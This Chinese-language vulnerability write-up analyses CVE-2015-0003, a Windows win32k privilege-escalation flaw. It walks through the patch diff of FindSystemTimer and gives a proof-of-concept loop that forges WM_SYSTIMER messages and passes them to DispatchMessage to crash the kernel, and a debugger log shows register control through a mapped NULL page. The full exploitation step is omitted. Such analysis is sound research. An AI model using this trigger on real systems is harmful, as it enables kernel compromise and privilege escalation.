_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ CVE-2015-0003的内核提权漏洞分析 ]...................<| |>......................[ by nEINEI/vxjump.net ]......................<| |>......................[ 2015-10-07 ]......................<| \>...................... [ neineit_at_gmail.com ] ......................_xxxDispatchMessage-> FindSystemTime --> crashing ? 至于如何构造这个crash需要我们一点一点来看 。 先看补丁的 _xxxDispatchMessage .text:BF8ACD0F cmp eax, 118h .text:BF8ACD14 jnz short loc_BF8ACD71 .text:BF8ACD16 push ebx ------------------------- 增加的代码,显然增加了一个调用FindSystemTimer的参数 .text:BF8ACD17 push esi .text:BF8ACD18 xor edi, edi .text:BF8ACD1A call _FindSystemTimer@8 ; FindSystemTimer(x,x) .text:BF8ACD1F mov [ebp+arg_0], eax .text:BF8ACD22 test eax, eax .text:BF8ACD24 jnz short loc_BF8ACD2D .text:BF8ACD26 jmp loc_BF8ACF5E 再看_FindSystemTimer 补丁前的版本,F5简化 int __stdcall FindSystemTimer(int a1) { int i; // ecx@1 int result; // eax@2 for ( i = gtmrListHead; (int *)i != >mrListHead; i = *(_DWORD *)i ) { result = i - 0xC; if ( *(_BYTE *)(i - 0xC + 0x28) & 2 && ------------------------------[1] *(_DWORD *)(a1 + 0xc) == *(_DWORD *)(result + 0x2C) ) --------[2] return result; } return 0; } 补丁后的版本: int __stdcall FindSystemTimer(int a1, int a2) { if ( (int *)gtmrListHead == >mrListHead ) { LABEL_7: result = 0; }else { while ( 1 ) { result = v2 - 12; if ( *(_BYTE *)(v2 - 12 + 40) & 2 ) { -------------------------[1] if ( *(_DWORD *)(a1 + 8) == *(_DWORD *)(result + 0x1C) ----------[3] && a2 == *(_DWORD *)(result + 0x14) ----------[4] && *(_DWORD *)(a1 + 0xC) == *(_DWORD *)(result + 0x2C) ) ----[2] break; } v2 = *(_DWORD *)v2; if ( (int *)v2 == >mrListHead ) goto LABEL_7; } return result; } 显然[3],[4]是用来强化验证条件的语句,也就是补丁里面重要修补信息。 通过分析,我们可以直到,传入的a1是MSG结构,在用户态可以用DispatchMessage等API来发送。 LRESULT WINAPI DispatchMessage( _In_ const MSG *lpmsg ); 下面是MSG的具体结构。 typedef struct tagMSG { HWND hwnd; UINT message; WPARAM wParam; LPARAM lParam; DWORD time; POINT pt; #ifdef _MAC DWORD lPrivate; #endif } MSG, *PMSG, NEAR *NPMSG, FAR *LPMSG; 我们把未补的代码注释一下, FindSystemTimer(PMSG pMsg) { PLIST_ENTRY pLE; PTIMER pTmr = NULL; // 双向链表里面存放着一个PTIMER结构 pLE = TimersListHead.Flink; while (pLE != &TimersListHead) { pTmr = CONTAINING_RECORD(pLE, TIMER, ptmrList); if ( pMsg->lParam == (LPARAM)pTmr->pfn && (pTmr->flags & TMRF_SYSTEM) ) break; pLE = pLE->Flink; } return pTmr; } 下面是PTIMER结构,显然传入的MSG结构里面的数据要和PTIMER里面的数据进行比较 typedef struct _TIMER { HEAD head; LIST_ENTRY ptmrList; PTHREADINFO pti; PWND pWnd; // hWnd UINT_PTR nID; // Specifies a nonzero timer identifier. INT cmsCountdown; // uElapse INT cmsRate; // uElapse FLONG flags; TIMERPROC pfn; // lpTimerFunc } TIMER, *PTIMER; int __stdcall xxxDispatchMessage(int a1) { ... v5 = *(_DWORD *)(a1 + 4); if ( (v5 == 0x113 || v5 == 0x118) && *(_DWORD *)(a1 + 12) ) { if ( v5 == 0x118 ) { v6 = 0; v21 = FindSystemTimer(a1, v2); // 补丁的函数, if ( v21 ) { while ( v7FFE0324 != v7FFE0328 ) _mm_pause(); //FindSystemTime 的返回值里面的一个函数指针结构被调用(V21+0X2C) (*(void (__fastcall **)(int, unsigned int, int, signed int, _DWORD, _DWORD))(v21 + 0x2c))( v7FFE0004 * (v7FFE0324 << 8), (unsigned int)(v7FFE0320 * (unsigned __int64)v7FFE0004 >> 32) >> 24, v2, 280, *(_DWORD *)(v1 + 8), v7FFE0004 * (v7FFE0324 << 8) + (v7FFE0320 * (unsigned __int64)v7FFE0004 >> 24)); } goto LABEL_57; } ... } 这里面有2个重点,一个是V5的条件0x118 是什么,另外一个是V21 + 0X2C 指向哪里。 借助WRK代码我们可以看到, pTimer+0x2c ---->? pTimer->pfn , #define WM_SYSTIMER 0x0118 typedef VOID(CALLBACK *TIMERPROC)(HWND,UINT,UINT_PTR,DWORD); pfn(pMsg->hwnd, WM_SYSTIMER, (UINT)pMsg->wParam, Time) 至此,我们可以大概整理出一个漏洞PoC验证思路, MSG msg; DispatchMessage(&msg); // Send WM_SYSTIMER 0x118 NtUserDispatchMessage xxxDispatchMessage FindSystemTimer ??? (crashing) 要执行FindSystemTimer函数需要产生一个0x118的消息,我们搜索一下内核态和时间事件有关的的函数调用, kd> x win32k!*SystemTimer* 826907e1 win32k!_KillSystemTimer () 82691525 win32k!_SetSystemTimer () 8268ac95 win32k!FindSystemTimer () 8268acce win32k!xxxSystemTimerProc () 8269d139 win32k!NtUserSetSystemTimer () 排除其它的可能后,最后可以找到xxxSystemTimerProc相关的一些 Direction Type Address Text Up p _SetCaretBlinkTime(x)+8C call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Up p xxxTrackMouseMove(x,x,x)+201 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Up p IncrementCompositedCount(x)+33 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Up p zzzStartFade()+96 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Up p zzzSetCaretPos(x,x)+123 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Up p xxxCreateCaret(x,x,x,x)+F1 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) p xxxFlashWindow(x,x,x)+1B5 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Down p ResetMouseHover(x,x,x)+1D call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Down p SetTooltipTimer(x,x,x)+21 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Down p NtUserSetSystemTimer(x,x,x)+36 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Down p xxxContScroll(x,x,x,x)+82 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Down p xxxTrackBox(x,x,x,x,x)+CA call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) Down p TouchEventDirect(x,x,x)+B4 call __SetSystemTimer@20; _SetSystemTimer(x,x,x,x,x) 显然,这里面某些操作可能会产生0x118的消息。我们开始尝试构造一些。 TrackMouseEvent : HWND hWnd = CreateWindowEx(NULL, L"button", NULL, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, 0, NULL); tme.cbSize = sizeof(TRACKMOUSEEVENT); tme.dwFlags = TME_HOVER; ---- 利用这个标识,也可以换其它的 tme.hwndTrack = hWnd; tme.dwHoverTime = 100; ::TrackMouseEvent(&tme); -- 预计产生xxxTrackMouseMove 调用 InvalidateRect(hWnd, NULL, TRUE); UpdateWindow(hWnd); 经过多次使用,发现xxxTrackMouseMove产生的调用需要条件较多,似乎不容易构造出一个0x118消息。 下面看xxxCreateCaret 这个调用, int __stdcall xxxCreateCaret(int a1, HPALETTE a2, int a3, int a4) { PVOID v4; // edi@1 int v5; // esi@1 *(_DWORD *)(v5 + 200) = v8; *(_DWORD *)(v5 + 204) = v9; if ( v10 == -1 || !(*(_BYTE *)(gpsi + 1828) & 4) && gProtocolType ) *(_DWORD *)(v5 + 212) = 0; else *(_DWORD *)(v5 + 212) = _SetSystemTimer(a1, 0xFFFF, v10, (int)CaretBlinkProc, 0); --- 只要if条件就可以调用SetSystemTimer if ( !--gdwDeferWinEvent ) { if ( gpPendingNotifies ) xxxFlushDeferredWindowEvents(); } 所以,我们这一调用, //创建一个窗口 HWND hWnd = CreateWindowEx(NULL, L"button", NULL, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, 0, NULL); //返回的handle用来创建Caret BOOL b = CreateCaret(hWnd, 0, 50, 50); while (!GetMessage(&Msg,0, WM_SYSTIMER, WM_SYSTIMER)) 通过spy++我们可以看到产生了0x118消息。 继续实验,FlashWindows API ,结果也可以产生0x118消息。 HWND hWnd = CreateWindowEx(NULL, L"button", NULL, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, 0, NULL); FlashWindow(hWnd, TRUE); while (!GetMessage(&msg, 0, WM_SYSTIMER, WM_SYSTIMER)) 当然,用PeekMessage 也是一样的可以观察到。 那么,进一步思考,如何的crash的呢? 先看一下MSDN上DispatchMessage的定义, LRESULT WINAPI DispatchMessage( _In_?const MSG *lpmsg ); Remarks: The MSG structure must contain valid message values. If the lpmsg parameter points to a WM_TIMER message and the lParam parameter of the WM_TIMER message is not NULL, lParam points to a function that is called instead of the window procedure. Note that the application is responsible for retrieving and dispatching input messages to the dialog box. Most applications use the main message loop for this. However, to permit the user to move to and to select controls by using the keyboard, the application must call IsDialogMessage. For more information, see Dialog Box Keyboard Interface. 如果产生的是WM_TIMER,lparam将替换原有的windows默认窗口函数,lparam将是指向一个函数的指针。 结合之前的知识看一下, pTimer+0x2c ---->? pTimer->pfn , *(_DWORD *)(v5 + 212) = _SetSystemTimer(a1, 0xFFFF, v10, (int)CaretBlinkProc, 0); 显然pTimer->pfn 就是 _SetSystemTimer 所以安装的CaretBlinkProc 函数,也就是lparam 在内核态时的参数。 当然如果产生的0x118消息的是其它API,那么lparam就是其它的回调函数了。 从目前的情况上看,如果要测试这个重现这个问题,需要稳定的产生0x118的消息,另外需要对DispatchMessage进行调用, 我们可以这样构造这个测试用例, HWND hWnd = CreateWindowEx(NULL, L"button", NULL, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, 0, NULL); Flashwindow(hWnd,) srand((int)time(0)); int i = 0x9000; while (GetMessage(&Msg, hWnd, 0, 0)){ if (Msg.message == 0x118){ Msg.wParam = i++; printf("...\nrecive 0x118 byFromMsg_Flashwindow ,lparam:%x,wParam:%x\n", Msg.lParam, Msg.wParam); Msg.hwnd = 0; TranslateMessage(&Msg); DispatchMessage(&Msg); } else{ Flashwindow(hWnd,TRUE); TranslateMessage(&Msg); DispatchMessage(&Msg);//break; } 通过测试可发现,大概在i > 0xfff7 之后,将产生Crash. 因为xxxSystemTimerProc处理hwn是0的消息,而这个消息不应该进入timer的消息队列的。 因为它是我们构造的假的消息。 [0x04] .其它 这时一个很有趣且很稳定的内存提权漏洞,在win7上,通过在0地址映射我们的内存数据41414141来控制相关的寄存器。 Access violation - code c0000005 (!!! second chance !!!) win32k!xxxSystemTimerProc+0x14a: 8375cd0c 8188f400000020002000 or dword ptr [eax+0F4h],200020h kd> .reload /f win32k.sys kd> kv ChildEBP RetAddr Args to Child 8d72bba8 836bcb2b 00000000 00000118 0000fff7 win32k!xxxSystemTimerProc+0x14a (FPO: [Non-Fpo]) 8d72bbd8 836c12e5 fe1f1bb0 0ef0860b 0018f614 win32k!xxxDispatchMessage+0x118 (FPO: [Non-Fpo]) 8d72bc28 83e8e1ea 0018f614 0018f528 775770b4 win32k!NtUserDispatchMessage+0x50 (FPO: [Non-Fpo]) 8d72bc28 775770b4 0018f614 0018f528 775770b4 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 8d72bc34) 0018f4e0 77265d0c 77286b4a 0018f614 928778ed ntdll!KiFastSystemCallRet (FPO: [0,0,0]) WARNING: Frame IP not in any known module. Following frames may be wrong. 0018f528 7726cc70 0018f614 00000000 0018f638 0x77265d0c 0018f538 00950601 0018f614 0018f634 0018f648 0x7726cc70 0018f638 0094e578 000301cc 0000fff7 00000000 0x950601 0018f7b8 775937f5 7ffd9000 777adfc2 00000000 0x94e578 0018f7f8 775937c8 00941898 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo]) 0018f810 00000000 00941898 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo]) kd> r eax=41414141 ebx=00000000 ecx=41414141 edx=41414141 esi=41414141 edi=00000000 eip=8375cd0c esp=8d72bb94 ebp=8d72bba8 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 win32k!xxxSystemTimerProc+0x14a: 8375cd0c 8188f400000020002000 or dword ptr [eax+0F4h],200020h ds:0023:0c0c0d00=41414141 相关利用技术略。